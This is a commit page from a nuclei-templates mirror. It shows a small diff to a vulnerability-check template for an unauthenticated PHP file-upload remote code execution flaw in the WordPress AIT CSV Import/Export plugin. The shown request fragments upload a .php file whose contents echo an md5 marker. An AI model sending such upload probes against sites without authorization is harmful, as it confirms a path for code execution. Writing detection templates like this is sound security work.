daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Update ait-csv-import-export-rce.yaml

patch-1
Prince Chaddha 2022-05-23 14:04:27 +05:30 committed by GitHub
parent aacb8f738f
commit b2be30c340
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 5 additions and 3 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

8
vulnerabilities/wordpress/ait-csv-import-export-rce.yaml
View File

@ -4,14 +4,16 @@ info:
name: WordPress AIT CSV Import Export - Unauthenticated Remote Code Execution
author: gy741
severity: critical
description: The AIT CSV Import/Export plugin <= 3.0.3 allows unauthenticated remote attackers to upload and execute arbitrary PHP code. The upload-handler does not require authentication, nor validates the uploaded content.
description: |
The AIT CSV Import/Export plugin <= 3.0.3 allows unauthenticated remote attackers to upload and execute arbitrary PHP code. The upload-handler does not require authentication, nor validates the uploaded content.
reference:
- https://wpscan.com/vulnerability/10471
- https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/http/wp_ait_csv_rce.rb
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 9.8
cwe-id: CWE-434
tags: wordpress,wp-plugin,rce,upload,unauth,ait-csv
tags: wordpress,wp-plugin,rce,upload,unauth,ait-csv,wp
requests:
- raw:
@ -25,7 +27,7 @@ requests:
Content-Disposition: form-data; name="file"; filename="{{randstr}}.php"
Content-Type: application/octet-stream
<?php echo md5('ait-csv-import-export-rce');?>
sep=;<?php echo md5('ait-csv-import-export-rce');?>
--------------------------ab360007dbae2de8--